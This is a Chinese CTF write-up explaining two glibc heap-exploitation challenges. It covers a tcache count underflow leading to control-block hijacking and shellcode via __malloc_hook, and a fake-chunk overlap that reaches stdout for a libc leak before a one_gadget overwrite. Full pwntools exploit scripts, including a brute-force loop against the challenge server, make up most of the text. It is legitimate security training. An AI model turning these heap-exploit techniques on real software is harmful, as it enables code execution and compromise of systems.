本文主要是介绍SWPUCTF_2019_p1KkHeap(负溢出tcache)de1ctf_2019_weapon(IO_FILE泄露libc),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
SWPUCTF_2019_p1KkHeap
IDA分析
用IDA反编译发现,此题操作有如下限制
顺便说一下,buu上的所有ubuntu18的题目都是带tcache-double-free的,其实这不太好,怕养成习惯这样解题。
这里可以看到的是,对delete和add有明显的次数限制,不能简单的tcache-poisoning来泄露libc。本题一开始也是卡在这里,没有别的思路。
之后参考了别人的wp,发现tcache的管理块其实存在一些漏洞。这里记录一下
// tcache结构定义中的部分代码
#if USE_TCACHE /* Maximum number of buckets to use. */ size_t tcache_bins; size_t tcache_max_bytes; /* Maximum number of chunks in each bucket. */ size_t tcache_count; (注意这里是size_t,是unsigned类型) /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache. */ size_t tcache_unsorted_limit;
#endif //从tcache中取出chunk的代码
/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];assert (tc_idx < TCACHE_MAX_BINS);assert (tcache->counts[tc_idx] > 0);tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e;
}// 往tcache中放入chunk时的代码
#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) (注意这里将counts和tcache->counts相比,而tcache->counts是有符号的) { tcache_put (p, tc_idx); return; } }
#endif
可以看出tcache检查的逻辑非常简单,如果当前这个bins中块的个数小于mp_.tcache_count(一个“全局”变量,默认为7)就可以放入,然而tcache->counts[tc_idx]是有符号的。如果tcache->counts[tc_idx]变为-1,那么tcache将永远不会放入新的块,因为有符号数和无符号数比较时,有符号数会变为无符号数。
那么怎么让这个块变为-1呢?利用tcache uaf就可以实现
我们分配两个chunk,记为chunk0,chunk1,并free(0),free(1)此时chunk1就存储了fd为chunk0的头部地址,此时修改chunk0的fd位置即可。如果修改成自身的地址就在tcache中构造了一个循环链表,也即每次add得到的都将是同一块地址,但是tcache的tcache->counts[tc_idx]每次都会减一,就可以造成tcache->counts[tc_idx]值为-1的情况。接下来如果分配并释放一个unsortedbin大小的块,就不会进入该tcache中,而是直接free之后进入unsortedbin。
本体一开始是这样做的,但是system函数老是执行不了,原来是没发现开了沙箱。。。真是大意了
同时也注意到,在0x66660000位置开辟了一段0x1000大小的rwx空间写入shellcode
思路
利用uaf可以完成泄露libc,之后常规改fd写 malloc_hook或者free_hook
但是delete3次只能完成一次的地址写入(可以控制fd)。我们既要shellcode到目的地址,也要把该地址起始位置写入hook函数中,难以完成。这里又有一种新思路:劫持tcache控制块完成写入。
tcache控制块为堆中地址最小的一块,如下图
这里红框位置就是每一个tcache中的下一块地址。现在我们的fastbin中显示的就是我们下一个将要分配到的RWX的地址。
可能你会想**那这里chunk的大小为-1不会检查正确性嘛?“看一下源代码便知道了
//__libc_malloc函数,也就是熟知的int_malloc的封装函数if (tc_idx < mp_.tcache_bins/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */&& tcache&& tcache->entries[tc_idx] != NULL)//可以看到:只是检验entry位置是否为空{return tcache_get (tc_idx);}
这下就清楚了。我们可以在count为-1的情况下malloc出chunk,因为不检查 。
通过修改这里的tcache控制块,就相当于获得了任意地址读写的权利,但是要注意这里add次数和所有操作总次数也是有限的,但是最后证明是可以冗余的。之后就是基本的写入。
exp
from pwn import *
io=process('./SWPUCTF_2019_p1KkHeap')
# io=remote('node4.buuoj.cn',27574)
elf=ELF('./SWPUCTF_2019_p1KkHeap')
context.log_level='debug'
libc=elf.libc
context.arch="amd64"def add(size):io.recvuntil('Choice: ')io.sendline(str(1))io.recvuntil('size: ')io.sendline(str(size))def edit(index,content):io.recvuntil('Choice: ')io.sendline(str(3))io.recvuntil('id: ')io.sendline(str(index))io.recvuntil('content: ')io.send(content)def delete(index):io.recvuntil('Choice: ')io.sendline(str(4))io.recvuntil('id: ')io.sendline(str(index))def show(index):io.recvuntil('Choice: ')io.sendline(str(2))io.recvuntil('id: ')io.sendline(str(index))def debug():gdb.attach(io,"brva 0xE1E")add(0)
# hijack stdout?# double free new idea: fake chunk_idx to realize infinity writetcache="""
#if USE_TCACHE /* Maximum number of buckets to use. */ size_t tcache_bins; size_t tcache_max_bytes; /* Maximum number of chunks in each bucket. */ size_t tcache_count; /* Maximum number of chunks to remove from the unsorted list, which aren't used to prefill the cache. */ size_t tcache_unsorted_limit;
#endif
"""tcache_extract_chunk="""
#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } }
#endif
"""hint="""
note that tcache_count is unsigned and tcache-<count is signed, if tcache_counts is below zero,
chunks will never be put back into tcache
"""add(0x90)#idx0
delete(0)
delete(0)# construct circle chain
# debug()
show(0)
io.recvuntil('content: ')
heap_info=u64(io.recv(6).ljust(8,'\x00'))
print "heap_info----->" + hex(heap_info)
add(0x90)#idx1
edit(1,p64(heap_info-0x1d0))
print "control head----->" + hex(heap_info-0x1d0)add(0x90)#idx2 nothing
add(0x90)#idx3, contorl head
add(0x20)#idx4 protect
delete(1)# put into unsorted bins
show(2)
libc_info=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base=libc_info-0x3ebca0
print "libc_base----->" + hex(libc_base)
free_hook=libc_base+libc.sym['__free_hook']
print "free_hook----->" + hex(free_hook)
malloc_hook=libc_base+libc.sym['__malloc_hook']
print "malloc_hook----->" + hex(malloc_hook)edit(3,p64(0x66660000))# change control head
place=0x66660000
# debug()
add(0x90)#idx5, vmmap place
# show(5)
# debug()
payload=asm(shellcraft.open('./flag'))
payload+=asm(shellcraft.read(3,place+0x100,0x50))
payload+=asm(shellcraft.write(1,place+0x100,0x50))# print len(payload)
# debug()edit(5,payload)# write to mmap place# debug()
edit(3,p64(malloc_hook))
add(0x90)#idx6
payload2=p64(place)
edit(6,payload2)
add(0x0)io.interactive()
总结
本题学到了怎么利用UAF欺骗tcache,达到在有限delete情况下获取libc地址,堆地址的方法,并加深了tcache entey劫持方法的理解。实际上21国赛也有一道题类似,不过是直接劫持的tcache中counts[tc_idx]部分。本题因为要写两次,所以不能通过国赛的方法放到unsortedbins中。
de1ctf_2019_weapon
IDA分析
这道题一看是没有show函数,和上题一样的libc,那么应该是劫持IO_FILE泄露。然而这道题也有一个小问题,就是不能构造大小在unsortedbins中的chunk,如下图
那么问题就是:怎么创造unsortedbin大小的chunk以及怎么泄露libc。这里还想了一下,关键其实还是uaf太好用了,我们可以直接伪造chunk,利用overlap来利用victim的上一个块修改victim的size位置,从而完成大小修改。这里要注意需要伪造很多细节,有可能会记不全,但没关系,出现什么报错在源代码里面找一下,伪装上去就可以了。
这一部分如下图,反正调试了挺久的,一开始想好了一块写也可以。
add(0,0x30,'a'*0x30)
add(1,0x30,'a'*0x30)
add(2,0x30,'a'*0x20+p64(0xa0)+p64(0x21))
add(3,0x10,p64(0x20)+p64(0x31))edit(0,p64(0)+p64(0x41))# fake chunk
delete(2)
delete(1)
edit(1,p8(0x10))
add(2,0x30,p64(0xdeadbabe))# fake prev_size
add(3,0x30,p64(0xdeadbeef))#fake chunk
#first put into fastbin
edit(0,p64(0)+p64(0x71))
delete(3)# put into fastbinedit(0,p64(0)+p64(0xa1))# unsortedbin size
delete(3)
接下来就可以从idx为3的chunk中获取libc地址了。这里也是比较巧妙,构造的chunk的在unsortedbin中的fd位置恰好是另外一个chunk在fastbin中的fd位置(为了完成这样的构造,需要先free小块,再free unsortedbin中的块)这样edit unsortedbin中的块的fd,也能反映到fastbin的fd上,也就可以完成写入IO_STDOUT。
由于在fastbin中,需要大小为7f,因此寻找IO_STDOUT附近7f的chunk,确实能在上方找到,而且大小小于0x68,能够分配到
edit(0,p64(0)+p64(0xa1))# unsortedbin size
delete(3)
edit(0,p64(0)+p64(0x71))
edit(3,p8(0xdd)+p8(0x65))# stdout nearby \x7f place,需要爆破
payload='a'*51+p64(0xfbad1800)+p64(0)*3+p8(0x58) #padding+important payload
# debug()
add(1,0x60,'pp')
add(2,0x60,payload)
# add(6,0x30,'aaa')
libc_info = u64(io.recvuntil('\x7f',timeout=0.2)[-6:].ljust(8,'\x00'))
libc_base=libc_info-0x3c56a3# 通过调试看出
if((libc_base&0xfff)!=0):exit(-1)
# add(6,0x30,'aaa')
print "libc_info----->" + hex(libc_info)
print "libc_base----->" + hex(libc_base)
malloc_hook=libc_base+libc.sym['__malloc_hook']
这里记录两个对调试比较有效的命令
注意关键payload这里原理参考
http://www.pwn4fun.com/pwn/io-2-1-stdout-leak-libc.html
set{long long}addr=value #使用gdb修改内存
p stdout #打印出stdout的地址
之后就可以爆破了,成功后往malloc_hook写入one_gadget即可。又忘记怎么写爆破了,看了看之前做的题目才想起来。。。
exp
from pwn import *
io=process('./de1ctf_2019_weapon')
elf=ELF('./de1ctf_2019_weapon')
libc=elf.libc
context.log_level='debug'
def add(index,size,con):io.recvuntil('choice >>')io.sendline(str(1))io.recvuntil('weapon: ')io.sendline(str(size))io.recvuntil('index: ')io.sendline(str(index))io.recvuntil('name:')io.send(con)def delete(index):io.recvuntil('choice >>')io.sendline(str(2))io.recvuntil('idx :')io.sendline(str(index))def edit(index,con):io.recvuntil('choice >>')io.sendline(str(3))io.recvuntil('idx:')io.sendline(str(index))io.recvuntil('content:')io.send(con)def debug():gdb.attach(io,"brva 0xd59")edit(0,p64(0))def pwn():add(0,0x30,'a'*0x30)add(1,0x30,'a'*0x30)add(2,0x30,'a'*0x20+p64(0xa0)+p64(0x21))add(3,0x10,p64(0x20)+p64(0x31))edit(0,p64(0)+p64(0x41))# fake chunkdelete(2)delete(1)edit(1,p8(0x10))add(2,0x30,p64(0xdeadbabe))# fake prev_sizeadd(3,0x30,p64(0xdeadbeef))#fake chunk#first put into fastbinedit(0,p64(0)+p64(0x71))delete(3)# put into fastbinedit(0,p64(0)+p64(0xa1))# unsortedbin sizedelete(3)edit(0,p64(0)+p64(0x71))edit(3,p8(0xdd)+p8(0x65))# stdout nearby \x7f placepayload='a'*51+p64(0xfbad1800)+p64(0)*3+p8(0x58) #padding+important payload# debug()add(1,0x60,'pp')add(2,0x60,payload)# add(6,0x30,'aaa')libc_info = u64(io.recvuntil('\x7f',timeout=0.2)[-6:].ljust(8,'\x00'))libc_base=libc_info-0x3c56a3if((libc_base&0xfff)!=0):exit(-1)# add(6,0x30,'aaa')print "libc_info----->" + hex(libc_info)print "libc_base----->" + hex(libc_base)malloc_hook=libc_base+libc.sym['__malloc_hook']one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]add(4,0x60,'aaa')delete(4)#fastbinedit(4,p64(malloc_hook-0x23))add(5,0x60,'nicholas')add(6,0x60,'a'*0x13+p64(one_gadget[3]+libc_base))io.recvuntil('choice >>')io.sendline(str(1))io.recvuntil('weapon: ')io.sendline(str(0x20))io.recvuntil('index: ')io.sendline(str(8))if __name__ == '__main__':while(1):try:io=remote('node4.buuoj.cn',29261)# io=process('./de1ctf_2019_weapon')pwn()io.interactive()breakexcept Exception as e:io.close()continue
本地
远程
总结
回顾了一下利用IO_STDOUT泄露libc的方法。这里其实还是比较特殊的,因为unsortedbin和fastbin会有重叠,如果没有,该怎么做呢这还是个问题。除此以外,复习了一下爆破的方法。注意,爆破的方法可以使用double-free来清空栈,提高one_gardet的成功率因此,多焚香沐浴之后再做题。
这篇关于SWPUCTF_2019_p1KkHeap(负溢出tcache)de1ctf_2019_weapon(IO_FILE泄露libc)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!